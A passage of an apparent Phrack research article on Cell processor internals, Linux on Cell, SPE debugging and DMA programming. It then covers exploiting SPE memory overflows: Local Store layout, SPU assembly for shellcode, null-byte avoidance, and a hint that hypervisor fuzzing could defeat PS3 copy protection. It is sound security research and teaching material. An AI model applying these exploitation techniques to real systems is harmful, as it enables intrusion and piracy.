The IIC handles the SPE interrupts as well as the external interrupts and interrupts comming from the coherent interconnect and the IOIF0 and IOIF1. It is also responsible for the interrupt priority level control and for the interrupt generation ports for IPI. Note that the IIC is duplicated for each PPE hardware thread.

IOT translates bus addresses to system real addresses, supporting two level translations:

```
        - I/O segments (256 MB)
        - I/O pages (4K, 64K, 1M, 16M bytes)
```

Interesting is the resource of I/O device identifier per page for LPAR use (blades) and IOST/IOPT caches managed by software and hardware.

---[2.3 - Debugging Cell

As the bus is a high-speedy circuit, it's really difficult to debug the architecture and better seen what is going on.

For that, and also to made it easy to develop software for Cell, IBM Research developed a Cell simulator [10] in which you may run Linux and install the software development kit [11].

The IBM Linux Technology Center brazilian team developed a plugin for eclipse as an IDE for the debugger and SDK. Putting it all together is possible to have the toolkit installed in a Linux machine, running the frontends for the simulator and for the SDK. The debugging interface is much better using this frontends. Anyway, it's important to notice that it's just a frontend for the normal and well know linux tools with extended support to Cell processor (GDB and GCC).

---[2.3.1 - Linux on Cell

Linux on cell is an open-source git branch and is provided in the PowerPC 64 kernel line.

It started in the 2.6.15 and is evolving to support many new features, like the scheduling improvements for the SPUs (actually it can be preempted, and my big friend Andre Detsch who reviewed this article was one of the biggest contributors to create an stable code here).

On Linux it added heterogeneous lwp/thread model, with a new SPE thread model (really similar to the pthreads library as we will see later), supporting user-mode direct and indirect SPE access, full-preemptive SPE context management and for that, spe_ptrace() was create and it's support added to GDB, spe_schedule() for thread to physical spe assigment (it is not anymore FIFO - run until completion).

As a note, the SPE threads shares it's address space with the parent PPE process (using DMA), demand paging for SPE access and shared hardware page table with PPE.

An implementation detail is the PPE proxy thread allocated for each SPE to provide a single namespace for both PPE and SPE and assist in SPE initiated C99 and Posix library services.

All the events, error and signal handling for SPEs are done by the parent PPE thread.

The ELF objects for SPE are wrapped into PPE objects with an extended GLD.

---[2.3.2 - Extensions to Linux

Here I'll try to provide some details for Linux running under a Cell Hardware. The base hardware used for this reference is a Playstation 3, which has 8 SPUs, but one is reserved with the purpose of redundancy and another one is used as hypervisor for a custom OS (in this case, Linux).

All the details are valid for any Linux on Cell and we will provide an top-down view approach.

---[2.3.2.1 - User-mode

Cell supports both power 32 and 64 bits applications, as well as 32 and 64 cell workloads. It has different programming modes, like RPC, devices subsystems and direct/indirect access.

As already said, it has heterogeneous threads: single SPU, SPU groups and shared memory support.

It runs over a SPE management runtime library, with 32 and 64 bits. This library interacts with the SPUFS filesystem (/spu/thread#/) in the following ways:

* Open, close, read, write the files:
    - mem
      This file provides access to the local storage

    - regs
      Access to the 128 register of 128 bits each

    - mbox
      spe to ppe mailbox

    - liox
      spe to ppe interrupt mailbox

    - xbox_stat
      Get the mailbox status

    - signal1
      Signal notification acess

    - signal2

Signal notification acess

- signalx_type
  Signal type

- npc
  Read/write SPE next program counter (for debugging)

- fpcr
  SPE floating point control/status register

- decr
  SPE decrementer

- decr_status
  SPE decrementer status

- spu_tag_mask
  Access tag query mask

- event_mask
  Access spe event mask

- srr0
  Access spe state restore register 0

* open, close mmap the files:
  - mem
    Program State access of the Local Storage

  - signal1
    Direct application access to signal 1

  - signal2
    Direct application access to signal 2

  - cntl
    Direct application access to SPE controls, DMA queues and mailboxes

The library also provides SPE task control system calls (to interact with the SPE system calls implemented in kernel-mode), which are:

- sys_spu_create_thread
  Allocates a SPE task/context and creates a directory in SPUFS

- sys_spu_run
  Activates a SPU task/context on a physical SPE and blocks in the kernel as a proxy thread to handle the events already mentioned

Some functions provided by the library are related to the management of the spe tasks, like spe create group, create thread, get/set affinity, get/set context, get event, get group, get ls, get ps area, get threads, get/set priority, get policy, set group defaults, group max, kill/wait, open/close image, write signal, read in_mbox, write out_mbox, read mbox status.

Obviously the standard 32 and 64 bits powerpc ELF (binary) interpreters, it is provided a SPE object loader, responsible for understand the extension to the normal objects already mentioned and for initiate the loading of the SPE threads.

Going down, we have the glibc and other GNU libraries, both supporting 32 and 64 bits.

---[2.3.2.2 - Kernel-mode

The next layer is the normal system-call interface, where we have the SPU management framework (through special files in the spufs) and modifications in the exec* interface, in a 64bit kernel.

This modification is done through a special misc format binary, called SPU object loader extension.

Of course there is other kernel extensions, the SPUFS filesystem, which provides the management interface and the SPU allocation, scheduling and dispatch.

Also, we do have the Cell BE architecture specific code, supporting multi and large pages, SPE event & fault handling, IIC and IOMMU.

Everything is controlled by a hypervisor, since Linux is what is called a custom OS when running in a Playstation3 hardware (the hypervisor is responsible for the protection of the 'secret key' of the hardware and knowing how to exploit SPU vulnerabilities plus some fuzzing on the hypervisor may be the needed knowledge to break the game protection copy in this hardware).

---[2.3.3 - Debugging the SPE

The SDK for Linux on Cell provides good resources for Debugging and better understanding of what is going on.

It's important to note the environment variables that control the behaviour of the system.

So, if you set the SPU_INFO, for example, the spe runtime library will print messages when loading a SPE ELF executable (see above).

```
---------- begin output ----------
        # export SPU_INFO=1
        # ./test
        Loading SPE program: ./test
        SPU LS Entry Addr  : XXX
---------- end   output ----------
```

And it will also print messages before starting up a new SPE thread, like:

```
---------- begin output ----------
        Starting SPE thread 0x..., to attach debugger use: spu-gdb -p XXX
---------- end   output ----------
```

When planning to use the spu-gdb to debug a SPU thread, it's important to remember the SPU_DEBUG_START environment variable, which will include everything provided by the SPU_INFO and will stop the thread until a debugger is attached or a signal is received.

Since each SPU register can hold multiple fixed (or floating) point values of different sizes, for GDB is provided a data structure that can be accessed with different formats. So, specifying the field in the data structure, we can update it using different sizes as well:

```
---------- begin output ----------
(gdb) ptype $r70
type = union __gdb_builtin_type_vec128 {
        int128_t uint128;
        float v4_float[4];
        int32_t v4_int32[4];
        int16_t v8_int16[8];
        int8_t v16_int8[16];
}
```

```
(gdb) p $r70.uint128
$1 = 0x00018ff000018ff000018ff000018ff0
(gdb) set $r70.v4_int[2]=0xdeadbeef
(gdb) p $r70.uint128
$2 = 0x00018ff000018ff0deadbeef00018ff0
---------- end   output ----------
```

To permit you to better understand when the SPU code starts the execution
and follow it gdb also included an interesting option:

```
---------- begin output ----------
(gdb) set spu stop-on-load
(gdb) run
...
(gdb) info registers
---------- end   output ----------
```

Another important information for debugging your code is to understand the
internal sizes and be prepared for overlapping. Useful information can
be get using the following fragment code inside your spu program (careful:
It's not freeing the allocated memory).

```
---   code   ---
extern int _etext;
extern int _edata;
extern int _end;

void meminfo(void)
{
        printf("\n&_etext: %p", &_etext);
        printf("\n&_edata: %p", &_edata);
        printf("\n&_end: %p", &_end);
        printf("\nsbrk(0): %p", sbrk(0));
        printf("\nmalloc(1024): %p", malloc(1024));
        printf("\nsbrk(0): %p", sbrk(0));
}
--- end code ---
```

And of course you can also play with the GCC and LD arguments to have more
debugging info:

```
---   code   ---
# vi Makefile
CFLAGS += -g
LDFLAGS += -Wl,-Map,map_filename.map
--- end code ---
```

---[2.4 - Software Development for Linux on Cell

In this chapter I will introduce the inners of the Cell development,
giving the basic knowledge necessary to better understand the further
chapters.

---[2.4.1 - PPE/SPE hello world

Every program in Cell that uses the SPEs needs to have at least two source
codes. One for the PPE and another one for the SPE.

Following is a simple code to run on the SPE (it's also in the attached
tar file :

```
---   code   ---
#include <stdio.h>

int main(unsigned long long speid, unsigned long long argp, unsigned long long envp)
```

```
{
        printf("\nHello World!\n");
        return 0;
}
--- end code ---
```

The Makefile for this code will look like:

```
---   code   ---
PROGRAM_spu     = hello_spu
LIBRARY_embed   = hello_spu.a
IMPORTS         = $(SDKLIB_spu)/libc.a
include         ($TOP)/make.footer
--- end code ---
```

Of course it looks like any normal code. The PPE as already explained is the responsible for the creation of the new thread and allocation in the SPE:

```
---   code   ---
#include <stdio.h>
#include <libspe.h>

extern spe_program_handle_t hello_spu;

int main(void)
{
        int speid, status;

        speid=spe_create_thread(0, &hello_spu, NULL, NULL, -1, 0);
        spe_wait(speid, &status, 1);
        return 0;
}
--- end code ---
```

With the following Makefile:

```
---   code   ---
DIRS            = spu
PROGRAM_ppu     = hello_ppu
IMPORTS         = ../spu/hello_spu.a -lspe
include $(TOP)/make.footer
--- end code ---
```

The reader will notice that the speid in the PPE program will be the same value as the speid in the main of the SPE.

Also, the arguments passed to the spe_create_thread() are the ones received by the SPE program when running (argp and envp equals to NULL in our sample).

Important to remember that when compiled this program will generate a binary in the spu directory, called hello_spu and another one in the root directory of this example called hello_ppu, which CONTAINS embedded the hello_spu.

---[2.4.2 - Standard Library Calls from SPE

When the SPE program needs to use any standard library call, like for example, printf or exit, it has to call back to the PPE main thread.

It uses a simple stop-and-signal assembly instruction with standardized arguments value (important to remember that since it's needed in shellcodes for SPE).

That value is returned from the ioctl call and the user thread must react to that. This means copying the arguments from the SPE Local Storage, executing the library call and then calling ioctl again.

The instruction according to the manual:

> "stop u14 - Stop and signal. Execution is stopped, the current address is written to the SPU NPC register, the value u14 is written to the SPU status register, and an interrupt is sent to the PPU."

This is a disassembly output of the hello_spu program:

```
---------- begin output ----------
# spu-gdb ./hello_spu
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host=powerpc64-unknown-linux-gnu --target=spu"...
(gdb) disassemble main
Dump of assembler code for function main:
0x00000170 <main+0>:    ila     $3,0x340 <.rodata>
0x00000174 <main+4>:    stqd    $0,16($1)
0x00000178 <main+8>:    nop     $127
0x0000017c <main+12>:   stqd    $1,-32($1)
0x00000180 <main+16>:   ai      $1,$1,-32
0x00000184 <main+20>:   brsl    $0,0x1a0 <puts> # 1a0
0x00000188 <main+24>:   ai      $1,$1,32        # 20
0x0000018c <main+28>:   fsmbi   $3,0
0x00000190 <main+32>:   lqd     $0,16($1)
0x00000194 <main+36>:   bi      $0
0x00000198 <main+40>:   stop
0x0000019c <main+44>:   stop
End of assembler dump.
(gdb)
---------- end   output ----------
```

---[2.4.3 - Communication Mechanisms

The architecture offers three main communications mechanism:

- DMA
  Used to move data and instructions between main storage and a local storage. SPEs rely on asyncronous DMA transfers to hide memory latency and transfer overhead by moving information in parallel with SPU computation.

- Mailbox
  Used for control communications between a SPE and the PPE or other devices. Mailboxes holds 32-bit messages. Each SPE has two mailboxes for sending messages and one mailbox for receiving messages.

- Signal Notification
  Used for control communications from PPE or other devices. Signal notification (also known as signalling) uses 32-bit registers that can be configured for one-sender-to-one-receiver signalling or many-senders-to-one-receiver signalling.

All three are controlled and implemented by the SPE MFC and it’s importance is related to the way the vulnerable program will receive it’s input.

---[2.4.4 - Memory Flow Control (MFC) Commands

This is the main mechanism for the SPE to access the main storage and maintain syncronization with other processors and devices in the system.

MFC commands can be issued either by the SPE itself, or by the processor and other devices, as follow:

- A code running on the SPU issue a MFC command by executing a series of writes and/or reads using channel instructions.
- A code running on the PPU or any other device issue a MFC command by performing a serie of stores and/or loads to memory-mapped I/O (MMIO) registers in the MFC.

The MFC commands are then queued in one of those independent queues:

- MFC SPU Command Queue - For channel-initiated commands by the associated SPU
- MFC Proxy Command Queue - For MMIO-initiated commands by the PPE or other devices.

---[2.4.5 - Direct Memory Access (DMA) Commands

The MFC commands that transfers data are referred as DMA commands. The transfer direction for DMA commands are based on the SPE point of view:

```
        - Into a SPE (from main storage to the local storage)   -> get
        - Out of a SPE (from local storage to the main storage) -> put
```

---[2.4.5.1 - Get/Put Commands

DMA get from the main memory to the local storage:

```
        (void) mfc_get (volatile void *ls, uint64_t ea, uint32_t size,
                        uint32_t tag, uint32_t tid, uint32_t rid)
```

DMA put into the main memory from the local storage:

```
        (void) mfc_put (volatile void *ls, uint64_t ea, uint32_t size,
                        uint32_t tag, uint32_t tid, uint32_t rid)
```

To guarantee the synchronization of the writes to the main memory, there is the options:

- mfc_putf: the 'f' means fenced, or, that all commands executed before within the same tag group must finish first, later ones could be before

- mfc_putb: the 'b' here means barrier, or, that the barrier command and all commands issued thereafter are NOT executed until all previously issued commands in the same tag group have been performed

---[2.4.5.2 - Resources

For DMA operations the system uses DMA transfers with variable length sizes (1, 2, 4, 8 and n*16 bytes (n an integer, of course). There is a maximum of 16 KB per DMA transfer and 128b aligments offer better performance.

The DMA queues are defined per SPU, with 16-element queue for SPU-initiated requests and 8-element queue for PPU-initiated requests. The SPU-initiated request has always a higher priority.

To differentiate each DMA command, they receive a tag, with a 5-bit identifier. Same identifier can be applied to multiple commands since it's used for polling status or waiting on the completion of the DMA commands.

A great feature provided is the DMA lists, where a single DMA command can cause execution of a list of transfers requests (in local storage). Lists implements scatter-gather functions and may contain up to 2K transfer requests.

---[2.4.5.3 - SPE 2 SPE Communication

An address in another SPE local storage is represented as a 32-bit effective address (global address).

SPE issuing a DMA command needs a pointer to the other SPE’s local storage. The PPE code can obtain effective address of an SPE’s local storage:

```
---   code   ---
#include <libspe.h>

speid_t speid;
void *spe_ls_addr;
spe_ls_addr=spe_get_ls(speid);
--- end code ---
```

This permits the PPE to give to the SPEs each other local addresses and control the communications. Vulnerabilities may arise don’t matter what is the communication flow, even without involving the PPE itself.

Follow is a simple DMA demo program between PPE and SPE (see the attached file for the complete version) - This program will send an address in the PPE to the SPE through DMA:

```
--- PPE code ---
information_sent        is[1] __attribute__ ((aligned 128)));
spe_git_t               gid;
int * pointer=(int *)malloc(128);

gid=spe_create_group(SCHED_OTHER, 0, 1);

if (spe_group_max(gid) < 1 ) {
        printf("\nOps, there is no free SPE to run it...\n");
        exit(EXIT_FAILURE);
}

is[0].addr = (unsigned int) pointer;

/* Create the SPE thread */
speid=spe_create_thread (gid, &hello_dma, (unsigned long long *) &is[0], NULL, -1, 0);

/* Wait for the SPE to complete */
spe_wait(speids[0], &status[0], 0);

/* Best pratice:  Issue a sync before ending - This is good for us ;) */
__asm__ __volatile__ ("sync" : : : "memory");
--- end code ---


--- SPE code ---
information_sent        is __attribute__ ((aligned 128)));

int main(unsigned long long speid, unsigned long long argp, unsigned long long envp)
{
        /* Where:
                is   ->  Address in local storage to place the data
                argp ->  Main memory address
                sizeof(is) -> Number of bytes to read
                31   ->  Associated tag to this DMA (from 0 to 31)
                0    ->  Not useful here (just when using caching)
                0    ->  Not useful here (just when using caching)
        */
        mfc_get(&is, argp, sizeof(is), 31, 0, 0);

        mfc_write_tag_mask(1<<31); /* Always 1 left-shifted the value of your tag mask */

        /* Issue the DMA and wait until completion */
        mfc_read_tag_status_all();
```

```
}
--- end code ---
```

And now between two SPEs (also for the complete code, please refer to the attached sources):

```
--- PPE code ---
speid_t speid[2]
speid[0]=spe_create_thread (0, &dma_spe1, NULL, NULL, -1, 0);
speid[1]=spe_create_thread (0, &dma_spe2, NULL, NULL, -1, 0);

for (i=0; i<2; i++) local_store[i]=spe_get_ls(speid[i]); /* Get local storage address */

for (i=0; i<2; i++) spe_kill(speid[i], SIGKILL); /* Send SIGKILL to the SPE
threds */
--- end code ---

--- SPE code ---
/* Write something to the PPE */
spu_write_out_mbox(buffer);

/* Read something from the PPE */
pointer = spu_read_in_mbox();

/* DMA interface */
mfc_get(buffer, pointer, size, tag, 0, 0);
wait_on_mask(1<<tag);

/* DMA something to the second SPE */
mfc_put(buffer, local_store[1], size, tag, 0, 0);
wait_on_mask(1<<tag);

/* Notify the PPE */
spu_write_out_mbox(1);
--- end code ---
```

------[3 - Exploiting Software Vulnerabilities on Cell SPE

I love the architecture manuals and the engineers and the way they talk about really dumb design choices:

"The SPU Local Store has no memory protection, and memory access wraps from the end of the Local Store back to the beginning. An SPU program is free to write anywhere in the Local Store including its own instruction space. A common problem in SPU programming is the corruption of the SPU program text when the stack area overflows into the program area. This problem typically does not become apparent until some later point in the program execution when the program attempts to execute code in area that was corrupted, which typically results in illegal instruction exception. Even with a debugger it can be difficult to track down this type of problem because the cause and effect can occur far apart in the program execution. Adding printf's just moves failure point around".

---[3.1 - Memory Overflows

In the aforementioned memory design of the SPU is already cleaver that when an attacker controls the overwrite size it's really easy to exploit a SPU vulnerability, just replacing the original program .text with the attacker's one.

It's important to note that the SPU interrupt facility can be configured to branch to an interrupt handler at address 0 if an external condition is true (bisled - branch indirect and set link if external data is the instruction used to check if there is external data available). Since the memory layout loops around, it's always possible to overwrite this handler if it's been used.

Another important note is the fact that instructions on memory MUST be aligned on word boundaries.

There is instruction and data caches for the local storage (depending on the implementation details), so it's important to assure:

```
        - You are overflowing a large enough amount of data to avoid
          caching
        - You are not using a self-modifying shellcode unless you issue
          the sync instruction (see [13] for references)
```

---[3.1.1 - SPE memory layout

The memory layout for the SPE looks like:

```
        ------------------------  -> 0x3FFFF
         SPU ABI Reserved Usage
        ------------------------                        | Stack grows from the
             Runtime Stack                              | higher addresses to
        ------------------------                        | the lower addresses.
               Global Data                              |
        ------------------------                        \/
                 .Text
        ------------------------  -> 0x00000
```

For the purpose of test your application, it's really interesting to use the 'size' application:

```
---------- begin output ----------
        # size hello_spu
        text    data    bss     dec     hex     filename
        1346    928     32      2306    902     hello_spu
---------- end   output ----------
```

---[3.1.2 - SPE assembly basics

It's important in order to develop a shellcode to understand the differences in the SPE assembly when comparing to PowerPC.

The SPE uses risc-based assembly, which means there is a small set of instructions and everything in the SPE runs in user-mode (there is no kernel-mode for the SPE). That said we need to remember there is no system-calls, but instead there is the PPE calls (stop instructions).

It is also a big endian architecture (keep that in mind while reading the following sections).

This architecture provides many ways to avoid branches in the code for maximum efficiency. Since it's not a real problem while exploiting software, I'll just avoid to talk about and will also avoid to talk about SIMD instructions. For more informations on that refer to the SPU Instruction Set Architecture document [12].

---[3.1.2.1 - Registers

I already explained a little about the way the architecture works and in this section I'll just include what is the available register set and how to use it .

The SPE does not define a conditional register, so the comparison operations will set results that are either 0 (false) or 1 (true) with the same width as the operands been tested. This results are used to do bitwise masking, instruction selection or conditional branching.

As any other platform, there is general purposes registers and special purpose registers in the SPE:

- General Purpose Registers (0-127) Used in different ways by the instructions. In the second word of R1 you have the information about the amount of free space in the stack (the room between end of the heap and the start of the stack).

- Special Purpose Registers
  The SPE also supports 128 special-purpose registers. Some interesting ones:
    * SRR0 - Save and Restore Register 0 - Holds the address used by the interrupt return (iret) instruction
    * LR - Link Register - All branch instructions that set the link register will force the address of the next instruction to be loaded on this register
    * CTR - Count Register - Usually it's used to hold a loop counter (like the loop instruction and %ecx register in intel x86 architecture)
    * CR - Condition Register - Used to perform conditional comparisons

To move data between Special Purpose Registers and General Purpose Registers we have the instructions

    * mtspr (move to special purpose register) mfspr (move from
    * special purpose register)

---[3.1.2.2 - Local Storage Addressing Mode

In order to address information to/from Local Storage the instructions uses the following structure:

```
        Instruction_Opcode  l10_field   RA_field        RT_field
                8-bit       10-bit        7-bit           7-bit
```

Where: The signed value of the l10 field is appended with 4 zeros and then added to the preferred slot in the RA, forcing the 4-rightmost bits of the sum to zero. After, the 16 bytes of the local storage address are inserted in the RT field.

        Preferred slot for the architecture point of view are the leftmost
        4 bytes (not bits).

Important to note here that the IBM convention specifies that:

        l10 means a 10-bit immediate value
        RA means a general purpose register to be used as
           source/destination
        RT means a general purpose register to be used as destination
           (target)

Knowing that makes it easier to understand why the Local Storage Address Space is limited to 4 GB.

The actual size of the Local Storage can be viewed accessing the LSLR (local storage limit register). All effective address are ANDed with the value in the LSLR before used.

---[3.1.2.3 - External Devices

The SPU can send/receive data to/from external devices using the channel interface. The channel instructions uses quadwords (128bits) to transfer data to/from general purpose registers and the channel device (which supports 128 channels).

---[3.1.2.4 - Instruction Set

Here are some useful instructions to be used while developing a shellcode for the SPE.

```
Instruction             Operands                Description
        Sample
---------------------------------------------------------------------------
lqd (load quadword)     rt,symbol(ra)           load a value (16 bytes)
from Local Storage (pointed by RA to the general purpose register RT)
        lqd $0, 16($1)

stqd (store quadword)   rt,symbol(ra)           the contents of the
register (RT) are stored at the local storage address pointed by RA
        stqd    $0, 16($1)

ilh (immediate load halfword) rt,symbol         the value of l16 is placed
in register RT
        ilh $0, 0x1a0

il (immediate load word) rt, symbol             the value of l16 is
expanded to 32bits replicating the leftmost bit and then written to the RT
        il $0, 0x1a0

nop (no operation)      rt                      this instruction uses a
false RT and nothing is changed
        nop $127

ila (immediate load address) rt, symbol         the value of the l18 is
placed in the rightmost 18bits of RT (the remaining bits of RT are zeroed)
        ila $3, 0x340

a (add word)            rt,ra,rb                the operand on register ra
is added to the operand on register rb and the result is written to RT
        a $0, $1, $2

ai (add word immediate) rt,ra,value             the value (l10 field) is
added to the operand in ra and the result written to RT
        ai $1, $1, -32

brsl (branch relative and set link) rt,symbol   execution proceeds to the
target instruction and a link register is set (the symbol is a l16 type
and it is extended to the rigth with two 0 bits) - The address of the
current instruction is added to the symbol address for the branch.  The
address of the next instruction is written to the preferred byte of the RT
register.
        brsl $0, 0x1a0

fsmbi (form select mask for bytes immediate) rt,symbol  the symbol is a
l16 value used to create a mask in the register RT copying eight times
each bit.  Bits in the operand are related to bytes in the result in a
left-to-right correspondence.  fsmbi $3, 0

bi (branch indirect)    ra                      execution proceeds to the
preferred slot of RA.  The right two bits in the RA are ignored (supposed
to be zero).  There is two flags, D and E to disable and Enable
interrupts.
        bi $0
```

---[3.1.3 - Exploiting Software Vulnerabilities in SPE

First of all it’s important to make it even more clear that it is impossible to, for example, force the SPE process to execute a new command (a.k.a. execve() shellcodes). The same happens for network-based library functions and others, as already explained we need the PPE to proxy that for us.

So it open two new paths:

- Create a PPE shellcode to be used while exploiting PPE software vulnerabilities that will spawn a proxy for commands received by the SPE and will create a SPE thread to do all the job -> This is pure PPC shellcode and this article already discussed everything needed to achieve that. In the attached sources you have samples in the directory cell-ppe/ [16].

- Create a vulnerability specific code for the SPE, that will print out internal program information related to the exploited SPE. This is specially interesting and difficult because:
    * Need to remember that the SPE uses instruction-cache, so sometimes if you overflow just a small amount of bytes, it will be specially difficult to get it executed
    * If you use the wrap-around characteristics of the memory layout for the SPE, you will probably overwrite also the information you are interested in.

In the other hand, it's important to say that everything the information will be in the same place (or easier to understand: there is no ASLR in the SPE). Running the attached samples (specially the SPE-SPE communications because it's printing the pointers addresses will make it clear to the reader).

---[3.1.3.1 - Avoiding Null Bytes

It is important to avoid null bytes, so we cannot use the NOP instruction in our shellcode.

This creates a problem, since the ori instruction will also generate null byte if used with 0 as an argument (e.g: ori $1, $1, 0).

A good replacement is the instruction or (e.g: or $1, $1, $1) or the usage of multiple instructions (which will reduce the probability of your return address).

---[3.1.4 - Finding software vulnerabilities on SPE

The simulator provided by IBM has a feature that monitors selected addresses or regions on the Local Store for read and write accesses. This feature can help identify stack overflows conditions.o

Invoked from the simulator command windows as follows:

```
        enable_stack_checking [spu_number] [spu_executable_filename]
```

This procedure uses the nm system utility to determine the area of the Local Storage that will contain the program code and creates trigger functions to trap writes by the SPU into this region.

Important to notice that this approach are just looking for writes in the text and static data and not to the heap. Of course the same approach used by this feature could be used to help the creation of a fuzzer using TCL scripts based on the one provided.

------[4 - Future and other uses

I can't foresee the future, but this kind of architectures are becoming more and more common and will open a wide range of new vulnerabilities.

The complexity behind this kind of asymmetric multi-threaded architectures are even higher than the normal ones. The lack of memory protection will help also the attackers on how to subvert those systems. The main processor been based on an already well-known architecture (powerpc) also helps the dissemination of malicious codes.

Many other researchers are doing stuff using Cell:

- Nick Breese presented on Crackstation project in BlackHat [5] Basically he used the SIMD capabilities and big registers provided by the architecture to crack passwords [5]

- IBM Researchers released a study about the usage of the Cell SPU as a Garbage Collector Co-processor [14]

- Maybe there is JTAG-based interfaces on the cell machines to try to use RiscWatch [15]

- Unfortunelly the SPU access are controlled by the PPE so run integrity protection mechanisms from SPU seens infeasible -> Anyway, I wrote a network traffic analyzer using cell as base architechture.

------[5 - Acknowledgments

A lot of people helped me in the long way for these researches that resulted in something funny to be published, you all know who you are.

Special thanks to the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it.

I always need to thanks to Filipe Balestra, my research partner, for sharing with me his ideas, feedbacks, comments and experiences improving a lot the article and the samples.

I'll never ever forget to say thanks to my research team and friends at RISE Security (http://www.risesecurity.org) for always keeping me motivated studying completely new things.   Be sure that the unix-asm [16] project will be updated soon with all the stuff showed here and much more different types of shellcodes for the architecture. Also, of course the updates will be available for Metasploit.

Big thanks to the Cell Kernel guru, Andre Detsch for sharing with me his ideas and discussing the internals of the Linux implementation for Cell.

Conference organizers who invited me to talk about Cell Software Exploitation, even after many people already talked about Cell they trusted that my talk was not about brute-forcing (yeah, a lot of fun in completely different cultures).

To my girlfriend who waited for me (alone, I suppose) during this travels.

It's impossible to not say thanks to COSEINC, for let me keep doing this research using important company time.

------[6 - References

[1] Cell Broadband Engine Architecture, v1.01 October 2006
http://cell.scei.co.jp/pdf/CBE_Architecture_v101.pdf

[2] Sony Computer Entertainment
http://www.sony.com

[3] Toshiba Corporation
http://www.toshiba.com

[4] IBM Corporation
http://www.ibm.com

[5] Breese, Nick; "Crackstation"; Black Hat Europe 2008
http://www.blackhat.com/presentations/bh-europe08/Bresse/Presentation/bh-eu-08-breese.pdf

[6] IBM Power Architecture
http://www-03.ibm.com/chips/power/

[7] IBM Bladecenter QS21
http://www.ibm.com/systems/bladecenter/hardware/servers/qs21/index.html

[8] IBM Roadrunner Supercomputer
http://en.wikipedia.org/wiki/IBM_Roadrunner

[9] The cell project at IBM Research
http://www.research.ibm.com/cell/

[10] Cell Simulator
http://www.alphaworks.ibm.com/tech/cellsystemsim

[11] Cell resource center at developerWorks (SDK download)
http://www-128.ibm.com/developerworks/power/cell/

[12] Synergistic Processor Unit Instruction Set Architecture v1.2
http://www-01.ibm.com/chips/techlib/techlib.nsf/techdocs/76CA6C7304210F3987257060006F2C44/$file/SPU_ISA_v1.2_27Jan2007_pub.pdf

[13] Moore, H.D; "Mac OS X PPC Shellcode Tricks"; Uninformed Magazine 2005
http://www.uninformed.org/?v=1&a=1&t=txt

[14] Cher, Chen-Yong; Gschwind, Michael; "Cell GC: Using the Cell Synergistic Processor as a Garbage Collector Coprocessor"; 2008
http://www.research.ibm.com/cell/papers/2008_vee_cellgc_slides.pdf

[15] RISCWatch Debugger
http://www.ibm.com/chips/techlib/techlib.nsf/products/RISCWatch_Debugger

[16] Carvalho, Ramon de; "Cell PPE Shellcodes"; RISE Security;
http://www.risesecurity.org/papers/lopbuffer.pdf

Others:

PowerPC User Instruction Set Architecture, Book I, v2.02 January 2005
http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book1_public.pdf

PowerPC Virtual Environment Architecture, Book II, v2.02 January 2005
http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book2_public.pdf

PowerPC Operating Environment Architecture, Book III, v2.02 January 2005
http://moss.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/PPC_Vers202_Book3_public.pdf

Cell developer's corner at power.org
http://www.power.org/resources/devcorner/cellcorner/

Linux info at the Barcelona Supercomputing Center website
http://www.bsc.es/projects/deepcomputing/linuxoncell

------[7 - Notes on SDK/Simulator Environment

There is some pictures on the simulator and sdk running on the attached file:

```
        images/cell-sim1.jpg and images/cell-sim2.jpg
```

To install the SDK/Simulator, do:

```
        - Download the Cell SDK ISO image from the IBM alphaWorks website.
        - Mount the disk image on the mount directory: mount -o loop
          CellSDK<version>.iso /mnt/phrack
        - Change directory to /mnt/phrack/software:
        - Install the SDK by using the following command and answer any
          prompts: ./cellsdk install
```

To start the simulator: cd /opt/IBM/systemsim-cell/run/cell/linux
../run_gui Click on the 'go' button to start the simulated system

To copy files to the simulated system (inside it run):

```
        callthru source /home/bsdaemon/Phrack/hello_ppu > hello_ppu
```

Then give the correct permissions and execute:

```
        chmod +x hello_ppu
        ./hello_ppu
```

------[8 - Sources [cell_samples.tgz]

Attached all the samples used on this article to be compiled in a Linux running on Cell machine.

Further updates will be available in the RISE Security website at:
        http://www.risesecurity.org

For the author's public key:
        http://www.kernelhacking.com/rodrigo/docs/public.txt

```
begin 644 cell_samples.tgz
M'XL(`#EF&$H``^P]:W/;.)+Y:E7-??T`EF5G;D62^*2>9U#E./.-:QW'9SLW-
M;;9<%`G9O%"DAJ3\F*O[[`'E\2K)H64Z`LBV+`!J-;C38W0`:-O:\B\@:
MCCP<[3Q[F"1!,G6=?D+*?]+_95F1#,F`/\HS258467F&]`?")Y/&46R%"#T+
M@R"N*S<K_XDFF^>_@_OCR^9'P?S\UW5#@7*RJDJFX/\J4@G_Z=^+T6C<M9MI
M@S#8T+1*_NN:G/)?-E4B_[JF2,^0U$SS]>D'Y__.=@MMH_U@=.?A08PV][>0
M(DF[Y.'&:>"$[F6`3L=]-[[30^]#R[0!MOC_[8.%AX&\A*+7Q-F2E+OHL>]L/
MSD[V/FVC$$?8"NVKKAU$V/5M^!R^:VWOM%JM%_#5&SL8O8UBQPVZ5^^X1Y[;
MCT:8/&OAVQB'/H*O%Z,PN`RMX<65Y3L>OH@1&Z71:/RFU7+&'TMU]^\#EQG
MJ_6_K0WR!!@;CZ,WK0VH[SI0A7Y"<?8`_4H!VR&V8@!X!9\.VI3:Z)<)Z#8Z
M_G)TE/[MR&TDH2T&\.+&<H%!)4YVUD;Q%X(<X'@/>TIO6_[4>F\$S4HG\
M?[*^X8'KX<;:F"7_BF:F\B_!W`_RKYFJ)N1_%>G#X>D9>DU$8=S:/SC:^XU^
MZURVCCZP;Z_@VQ]>N_/)&K7[[D4*E]JV3T\^_G>Y](B*4F7RUIADA$`$CT
MZU1.6X>?3CZ?GJ>M[4PRNA;J>"((K70*>+EY_RO*7F`Q&,[@'IUZ&HR`[(
M$ODGS&FTC07T/WC_FT3^9=D0^M\J4@7_I\+9@`XX8_Z7)45^^"^F@'E9$-1
M<JS8RCWR':9/MK+ZY"B$H\<)3"3;>Z(7?OB#&V]-ETB&6(GD["41:1]-ET
